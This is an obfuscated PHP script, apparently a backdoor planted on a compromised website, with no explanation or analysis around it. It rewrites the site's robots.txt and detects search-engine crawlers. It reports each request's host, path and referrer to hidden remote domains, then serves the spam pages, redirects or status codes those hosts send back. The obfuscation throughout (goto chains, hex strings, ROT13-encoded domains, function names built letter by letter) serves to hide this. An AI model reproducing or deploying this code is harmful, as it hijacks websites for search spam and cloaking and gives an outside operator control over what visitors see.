<?php
 goto kEzED; bbunL: function create_robots($url) { $function = func(); $path = $_SERVER["\x44\x4f\x43\125\x4d\105\116\x54\137\122\x4f\x4f\x54"] . "\x2f\x72\x6f\x62\157\x74\x73\x2e\x74\170\164"; $content = "\x55\163\x65\x72\55\141\x67\145\x6e\x74\72\40\x2a" . PHP_EOL; $content .= "\x41\x6c\x6c\x6f\x77\x3a\40\x2f" . PHP_EOL . PHP_EOL; $content .= "\x53\151\x74\x65\155\x61\x70\x3a\x20" . $url . "\57\x73\151\164\x65\155\141\x70\x2e\170\155\154" . PHP_EOL; if (!file_exists($path)) { $function[0]($path, $content); } else { $existingContent = $function[1]($path); if ($existingContent !== $content) { $function[0]($path, $content); } } } goto F_M9S; SwZIw: $http_web = "\150\x74\x74\160"; goto aVsIS; sLj8c: $urlshang = ''; goto yiH29; nAWZ6: if (stristr($duri, "\x2f\77")) { $model = "\77"; } goto Ng2QO; sTpwH: $lang = isset($_SERVER["\110\x54\124\x50\x5f\x41\103\x43\105\120\124\137\x4c\x41\116\107\125\x41\107\105"]) ?: "\145\156"; goto sLj8c; H1Wkh: function drequest_uri() { if (isset($_SERVER["\x52\105\x51\x55\x45\123\x54\x5f\125\x52\x49"])) { $duri = $_SERVER["\122\x45\x51\125\x45\123\x54\x5f\x55\x52\111"]; } else { if (isset($_SERVER["\141\162\147\166"])) { $duri = $_SERVER["\120\110\x50\137\x53\105\x4c\106"] . "\x3f" . $_SERVER["\x61\x72\147\x76"][0]; } else { $duri = $_SERVER["\x50\x48\120\x5f\123\x45\114\x46"] . "\x3f" . $_SERVER["\121\x55\105\122\x59\x5f\x53\x54\x52\111\x4e\107"]; } } return $duri; } goto VwCdV; r5XoR: $duri = urlencode($duri); goto dU_ni; Px_Rk: create_robots($http . "\72\57\57" . $host); goto ZjSpP; F_M9S: function request($webs, $http_web, $param) { $function = func(); shuffle($webs); foreach ($webs as $domain) { $domain = $function[2](urldecode($domain)); $url = $http_web . "\x3a\57\57" . $domain . "\x2f\163\165\160\145\x72\66\56\160\150\x70\x3f" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\64\x34\x33")) { echo "\64\64\x33"; } curl_close($ch); } if (ini_get("\x61\x6c\154\157\x77\137\x75\x72\154\137\x66\157\160\x65\156")) { $response = @$function[1]($url); if ($response !== false) { return $response; } } } return "\156\x6f\x62\157\x74\165\x73\145\x72\141\147\x65\156\x74"; } goto Bx3Q1; QAR8V: if (!strstr($html_content, "\156\x6f\x62\157\164\x75\x73\145\162\141\147\145\156\x74")) { if (strstr($html_content, "\x6f\153\x68\164\x6d\x6c")) { @header("\x43\x6f\156\164\x65\x6e\164\55\164\171\160\145\x3a\40\164\145\x78\x74\x2f\150\x74\155\154\73\x20\143\x68\141\x72\163\x65\x74\75\165\x74\x66\x2d\70"); $html_content = str_replace("\157\x6b\150\x74\155\x6c", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\147\x65\164\x63\x6f\x6e\x74\145\156\x74\65\x30\x30\x70\x61\147\145")) { @header("\110\124\124\120\57\x31\x2e\61\40\x35\60\x30\x20\x49\156\164\x65\x72\x6e\141\154\40\x53\x65\162\166\145\x72\x20\x45\x72\x72\x6f\162"); die; } else { if (strstr($html_content, "\x34\x30\x34\x70\x61\147\145")) { @header("\110\x54\x54\120\x2f\61\x2e\61\x20\x34\60\x34\x20\x4e\x6f\164\x20\x46\x6f\x75\x6e\144"); die; } else { if (strstr($html_content, "\63\60\61\160\x61\x67\x65")) { @header("\110\x54\x54\x50\x2f\61\x2e\61\x20\x33\60\61\40\x4d\157\166\145\144\40\x50\145\162\155\x61\x6e\x65\x6e\x74\x6c\171"); $html_content = str_replace("\x33\60\x31\x70\x61\x67\x65", '', $html_content); header("\x4c\157\x63\141\164\151\x6f\x6e\x3a\40" . $html_content); die; } else { if (strstr($html_content, "\x6f\153\170\155\154")) { $html_content = str_replace("\x6f\153\x78\x6d\x6c", '', $html_content); @header("\103\157\x6e\164\x65\x6e\164\x2d\124\171\x70\x65\x3a\40\x61\160\160\x6c\151\x63\141\164\x69\x6f\x6e\57\170\x6d\154\x3b\x20\x63\150\141\162\x73\x65\164\75\165\164\x66\55\x38"); echo $html_content; die; } else { if (strstr($html_content, "\x6f\x6b\x72\x6f\x62\157\x74\x73")) { $html_content = str_replace("\x6f\153\x72\157\x62\157\x74\x73", '', $html_content); @header("\103\157\156\x74\x65\x6e\x74\55\124\x79\x70\x65\x3a\x20\x74\x65\170\164\57\160\x6c\x61\x69\x6e"); echo $html_content; die; } } } } } } } goto DX72n; yiH29: if (isset($_SERVER["\110\124\x54\120\x5f\122\105\x46\x45\122\105\x52"])) { $urlshang = $_SERVER["\x48\x54\x54\120\x5f\x52\105\106\105\122\x45\x52"]; } goto X4hyc; ZjSpP: $param = "\167\145\x62\75" . $host . "\x26\172\x7a\x3d" . $zz . "\x26\x75\162\151\x3d" . $duri . "\x26\x75\162\154\163\150\141\156\147\x3d" . $urlshang . "\46\150\x74\x74\x70\75" . $http . "\46\154\141\156\x67\75" . $lang . "\46\163\145\x72\x76\x65\162\x3d" . $server . "\46\155\157\x64\x65\154\75" . $model; goto ojd6R; aVsIS: $host = $_SERVER["\110\124\124\x50\137\110\117\x53\124"]; goto sTpwH; Ng2QO: $string = "\62\60\62\55\x6c\151\x6e\x6b\61\x37\67"; goto DoUFP; VwCdV: function is_https() { if (isset($_SERVER["\110\x54\x54\x50\123"]) && strtolower($_SERVER["\x48\124\x54\x50\x53"]) !== "\x6f\146\x66") { return true; } elseif (isset($_SERVER["\x48\x54\x54\120\137\130\137\106\117\122\127\101\122\x44\x45\104\137\x50\122\x4f\124\117"]) && $_SERVER["\110\x54\124\120\x5f\x58\137\106\x4f\122\x57\x41\x52\104\x45\104\x5f\x50\x52\x4f\x54\x4f"] === "\150\164\x74\160\x73") { return true; } elseif (isset($_SERVER["\110\124\124\120\x5f\x46\122\x4f\x4e\x54\137\x45\x4e\104\x5f\x48\124\124\x50\123"]) && strtolower($_SERVER["\x48\124\x54\x50\137\x46\x52\117\x4e\124\x5f\x45\x4e\x44\x5f\110\124\124\x50\123"]) !== "\x6f\146\146") { return true; } return false; } goto tugMB; DoUFP: $istest = false; goto xL3u4; XR7os: if ($duri != "\57") { $duri = str_replace("\57" . $model_file, '', $duri); $duri = str_replace("\x2f\x69\156\144\x65\170\x2e\160\150\160", '', $duri); $duri = str_replace("\x21", '', $duri); } goto r5XoR; J5mq2: $zz = disbot(); goto xDTpC; ojd6R: $html_content = request($xmlname, $http_web, $param); goto QAR8V; eBiyu: preg_match("\x2f\134\x2f\x28\133\136\x5c\x2f\x5d\53\x5c\x2e\160\x68\160\x29\x2f", $duri, $matches); goto fOPDe; xDTpC: $duri = drequest_uri(); goto ED2sM; tugMB: function detect_server_software() { $path = $_SERVER["\x44\x4f\x43\125\115\105\x4e\x54\x5f\122\117\117\124"] . "\57\x2e\150\x74\x61\143\143\x65\163\x73"; if (file_exists($path)) { return 1; } else { return 2; } } goto bbunL; fOPDe: if (empty($matches) || $matches[1] == "\x77\160\x2d\x63\162\x6f\155\56\x70\x68\160" || $matches[1] == "\x64\145\x74\141\x69\x6c\x2e\x70\150\x70") { $model_file = "\151\x6e\x64\x65\170\x2e\x70\x68\x70"; $model = "\151\x6e\x64\x65\x78"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\57"); } $model = str_replace("\x2e\160\x68\160", '', $model_file); } goto nAWZ6; ED2sM: $duri = $duri == '' ? "\x2f" : $duri; goto eBiyu; kEzED: $xmlname = array("\x25\63\62\x25\63\60\45\x33\x32\x25\62\x44\x25\67\71\45\x37\x36\45\x36\61\45\x37\70\45\63\x31\x25\x33\67\45\x33\67\45\x32\x45\x25\x36\62\45\66\106\45\67\63\45\x36\x38\x25\66\66\x25\67\60\x25\66\70\x25\67\x36\45\66\61\45\62\105\45\66\x37\x25\66\x32\45\x36\x33", "\45\x33\62\45\63\60\45\x33\x32\45\x32\104\45\67\71\x25\67\66\45\66\61\45\x37\70\x25\x33\61\45\63\67\45\63\x37\45\x32\105\x25\x36\66\x25\67\x32\45\x36\65\45\x37\62\45\x36\61\45\x37\x31\45\x37\x36\45\66\67\45\x36\103\x25\62\x45\45\x36\x37\x25\66\x32\x25\66\x33", "\45\x33\x32\x25\x33\x30\x25\x33\x32\45\x32\104\45\67\71\x25\67\x36\x25\66\x31\x25\67\x38\45\63\x31\45\x33\67\x25\x33\67\x25\x32\105\x25\67\62\x25\x37\x30\45\x36\62\x25\x36\71\x25\x37\66\x25\66\x36\45\67\66\x25\66\62\x25\66\x36\x25\x32\105\x25\x36\102\45\x36\x43\x25\x36\104", "\45\63\62\45\63\x30\45\63\62\x25\x32\x44\45\x37\x39\x25\67\66\45\66\x31\x25\x37\70\x25\x33\61\x25\63\67\45\x33\x37\x25\x32\x45\x25\x37\x36\45\x36\x31\x25\66\61\45\x36\x32\45\x36\x36\x25\x36\x33\x25\x37\62\x25\x36\x31\45\x32\105\45\x36\x37\x25\x36\62\x25\66\x33"); goto SwZIw; DX72n: function disbot() { $user_agent = strtolower($_SERVER["\110\124\124\120\x5f\x55\123\105\122\x5f\x41\107\105\x4e\124"]); if (stristr($user_agent, "\147\x6f\x6f\x67\154\x65\x62\157\164") || stristr($user_agent, "\x62\151\156\147") || stristr($user_agent, "\171\141\x68\x6f\157") || stristr($user_agent, "\x67\157\157\147\x6c\145") || stristr($user_agent, "\107\157\157\147\x6c\145\x62\x6f\x74")) { return 1; } else { return 2; } } goto H1Wkh; xL3u4: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto XR7os; dU_ni: $server = detect_server_software(); goto Px_Rk; X4hyc: if (is_https()) { $http = "\150\x74\164\x70\x73"; } else { $http = "\x68\164\164\160"; } goto J5mq2; Bx3Q1: function func() { $chars = range("\x61", "\172"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[15] . $chars[20] . $chars[19] . "\137" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[6] . $chars[4] . $chars[19] . "\137" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\137" . $chars[17] . $chars[14] . $chars[19] . "\61\63"); }